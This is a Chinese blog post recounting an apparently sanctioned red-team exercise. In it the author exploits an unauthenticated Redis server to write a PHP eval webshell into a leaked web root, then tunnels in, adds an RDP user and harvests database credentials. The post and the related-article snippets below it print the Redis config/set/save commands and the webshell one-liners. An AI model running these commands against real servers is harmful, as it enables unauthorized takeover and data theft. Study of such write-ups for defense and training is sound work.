攻防演练 | redis艰难写shell进入内网

最新推荐文章于 2024-06-19 18:15:27 发布
最新推荐文章于 2024-06-19 18:15:27 发布
阅读量770 收藏 7
点赞数 11
文章标签： redis 数据库 缓存
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zkaqlaoniao/article/details/137627100
版权

背景

某地市级攻防演练

要求

拿到指定单位的靶标系统（必须是web后台管理权限+数据库+服务器）

正式开始

redis未授权

首先通过信息收集获取到了一些IP，且发现一个IP中存在redis未授权。

图片


此时兴冲冲的去尝试写入定时任务反弹shell，主从复制，写入私钥，结果都以失败告终。。。
小tips：一般fscan会检测是否可以写入定时任务，如果有就直接定时任务弹shell，百试百灵！（下图这种就是能写计划任务的）

图片

获取绝对路径

以上手段尝试无果后，尝试在该IP开放的web服务中扫描目录，结果扫到了一个phpinfo页面！且phpinfo中泄漏了站点的绝对路径！这不就柳暗花明又一村了吗！决定直接在redis里写webshell咯！嘿嘿！

图片


就在我一脸兴奋的
config set dir E:/WSPHP/PHPWS/
config set dbfilename redis.php
set webshell "<?php eval($_POST['zkaq']);?>"
save
之时，数据库给我返回一个
 

图片


瞬间头大了！！！

更改只读权限

秉持着遇事不决，便问百度的原则，我查到了两个办法

图片

图片


方法一需要服务器权限，且需要重启服务，很显然咱们不具备这个条件，也没这个胆量，怕重启起不来人就傻了，只能用方法二尝试一下了，结果还真的可以了！

写入webshell

更改好权限，又有绝对路径后，终于可以愉快的写shell了，结果在连上的一瞬间，看见站点的根目录下已经存在很多webshell文件了，果然在每一个你所向往的林荫小路中，其实早已车水马龙，不过幸好目标单位还没下线，还可以再吃点分！

图片

获取服务器权限

拿到webshell可以执行命令后，自然就是风哥教我的搭建隧道，创建用户一条龙了！
成功登录RDP后，就获取到了服务器权限，成功了三分之一了！加油！

图片

获取数据库权限

获取到服务器权限后，扔进去一个searchall跑了一下，获取到了数据库凭证！并成功获取了数据库权限！成功了三分之二了！
（searchall还是很好用的，项目地址在这里  https://github.com/Naturehi666/searchall )

图片

web权限

随后在服务器中装了一个绿色版everthing成功找到了靶标系统的源码，且在数据库中找到其登录凭证后，以为马上就要吃到靶标分时，结果在外网死活找不到他的资产了！最终在服务器中源码的js文件中找到一个唯一值，并在资产测绘中搜索该唯一值，好消息是找到了！坏消息是关站了！！没得办法，只能在内网中截了一张图，去跟裁判battle了。

图片

至此，对要求的靶标系统的服务器、数据库、后台已经完全获取到！有什么不足的地方，欢迎大家互相指出！

 申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。

免费领取安全学习资料包！

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等

 

应急响应笔记

学习路线

渗透测试老鸟-九青
关注
  • 11
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
红队攻防渗透技术实战流程：红队目标信息收集之基础资产信息收集
HACKONE的博客
03-23 1038
在红队渗透测试中，客户的合作至关重要，他们会提供目标资产的基本信息作为初始攻击面。红队的行动范围通常是由客户明确授权界定的，这其中包括但不限于对主域名、下属子公司以及整个供应链体系中的相关资产进行安全测试。红队需严格按照约定的边界执行任务，可能涵盖但不限于对主域名下的各个子域名进行深度侦查，探究子公司间的网络互联情况，以及深入分析供应链各环节的软硬件设施、业务流程和数据交换点，以全方位评估和模拟真实攻击场景下的安全风险。在执行过程中，红队始终保持专业操守，确保所有行动均在合法、合规的前提下进行，并以增强客户
护网行动面试题目汇总
记录并分享学习安全的知识点..
03-16 1万+
护网行动面试题目汇总 名称 描述 水泽 信息收集自动化工具 Masscan 端口扫描工具 subDomainsBrute 子域名收集工具 水泽 信息手机自动化工具 FOFA 网络空间资产检索 Goby 攻击面测绘工具 二、描述一下外围打点的基本流程？ ...
Redis-Shell
sunhuiliang85的专栏
07-15 6105
Redis Shell 一. redis-cli 1.1 查看redis-cli命令帮助 redis-cli help 查看redis-cli命令帮助 [devuser@iz2ze2ehfvske0t6zflgupz ~]$redis-cli help redis-cli 3.2.4 To get help about Redis commands type: "help
利用redis写webshell
八月的专栏
03-13 1363
redis和mongodb我之所见 最近自己在做一些个人的小创作、小项目，其中用到了mongodb和redis，最初可能对这二者没有深入的认识。 都是所谓的“非关系型数据库”，有什么区别么？ 实际上，在我看来，redis的角色更接近于memcache，而mongodb是一个真正的数据库。 redis是一个key-value型数据库，信息以键对应值的关系存储在内存中，比memca
【redis】redis shell 详解
最新发布
weixin_43346403的博客
06-19 225
【代码】【redis】redis shell 详解。
redis写webshell
干铮的博客
01-31 790
利用redis写webshell kali@ToolsScannerKali20201:~$ redis-cli -h 192.168.3.28 192.168.3.28:6379> config set dir /usr/local/nginx/html OK 192.168.3.28:6379> config set dbfilename shell.php OK 192.168.3.28:6379> set x "<?php @eval($_REQUEST[123])?&g
Redis未授权访问漏洞的利用
L18296069161的博客
12-16 203
渗透学习交流群：773617250，群内定期直播，发布相关教程，欢迎咨询群主学习交流！  利用redis写webshell  在redis-cli中写入以下命令: config set dir /var/www/html/ config set dbfilename redis.php set webshell “<?php phpinfo(); ?>” save  然后看一下...
redis写shell与ssh免密码登陆
weixin_33971130的博客
03-13 356
redis-cli参数：-h：指定要连接的主机IP或域名-p：指定连接的端口-a：指定密码-r：执行指定的命令-n：数据库名-x：将最后一个参数输出为valueredis写shell-----端口6379redis-cli-h127.0.0.1configsetdirar/www/webroot/configsetdbfilenameredis.phpsetweb...
掌握内网渗透之道，成为实战高手，看《内网渗透实战攻略》就够了
等风来
01-10 2646
当今，网络系统面临着越来越严峻的安全挑战。在众多的安全挑战中，一种有组织、有特定目标、长时间持续的新型网络攻击日益猖獗，国际上常称之为APT（Advanced Persistent Threat，高级持续性威胁）攻击。传统的渗透测试从外网发起攻击，并以攻破单台主机为目标。与之相比，APT攻击在技术上更加系统地实现了对目标内网主机的大批量控制，从而使业内对内网渗透技术的关注度提高到了一个空前的高度。
[红日安全]Web安全Day4 - SSRF实战攻防
hongrisec的博客
02-25 842
本文由红日安全成员： MisakiKata 编写，如有不当，还望斧正。 大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫 Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、P...
2023年网络安全岗面试跳槽看这一篇就够了（含面试题+大厂面经分享）
m0_71743066的博客
03-10 1499
又到了一年一度的金三银四面试季，想必有些朋友的心已经开始躁动了，毕竟跳槽涨薪的幅度远高于内部调薪的幅度！以下为网络安全各个方向涉及的面试题以及安全大厂的面经汇总，星数越多代表问题出现的几率越大，祝各位都能找到满意的工作。注：本套面试题及面经，已整理成pdf文档，但内容还在持续更新中，因为无论如何都不可能覆盖所有的面试问题，更多的还是希望由点达面，查漏补缺，希望对大家有帮助。
Redis webshell详解
m0_54313550的博客
04-19 504
"set 1 {}".format(shell.replace(" ","${IFS}")), //php代码空格替换成Linux系统服务器识别的空格,redis服务器也是linux系统////python insert 第一个参数0，表示从头部插入，AUTH redis命令 "AUTH{}".format 表示redis认证格式//path="/var/www/html" // url路径下面：/var/www/html ===/(根目录) -----//
Redis写webshell
weixin_54227009的博客
06-06 656
如果网站上开了写权限的话，redis连上，可以直接写个一句话命令如下:config set dit /var/www/htmlconfig set dbfilename shell.phpset x ""save我这里dir有问题，所以就没实操了
六、利用redis写webshell
dahege666的博客
03-02 899
一、测试环境 靶机 centos7 192.168.1.27 攻击机 kali 192.168.1.138 二、测试过程 服务器配置phpstudy ，截图略过 1. 下载Phpstudy for Linux的bin文件 操作命令: wget -c http://lamp.phpstudy.net/phpstudy.bin 2. 配置phpstudy.bin文件的可执...
redis shell
qq_43192537的博客
12-03 3621
redis shell
大数据学习之Redis——02Redis Shell操作
bingque6535的博客
05-26 640
一. 单机安装 解压redis 进入文件夹执行mke and make install # prefix指定安装路径 make && make prefix=/opt/hjf/redis-2.8.18 install 配置环境变量 以后自动打开redis服务 进入解压包的utils目录, 执行： ./install_server.sh 进入redis服务器： redis-cli 二.shell命令 1. strings 1. set：设置 SET k
redis shell 命令
热门推荐
ancruna的专栏
01-05 1万+
redis shell command
shell脚本批量执行redis写入操作
xiaobao5214的博客
09-19 1万+
#!/bin/bash while read line do echo $line | redis-cli -h 192.168.1.13 -p 6379 -c sleep 0.005 done &lt; redis.txt 每次执行一条命令睡眠5毫秒
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值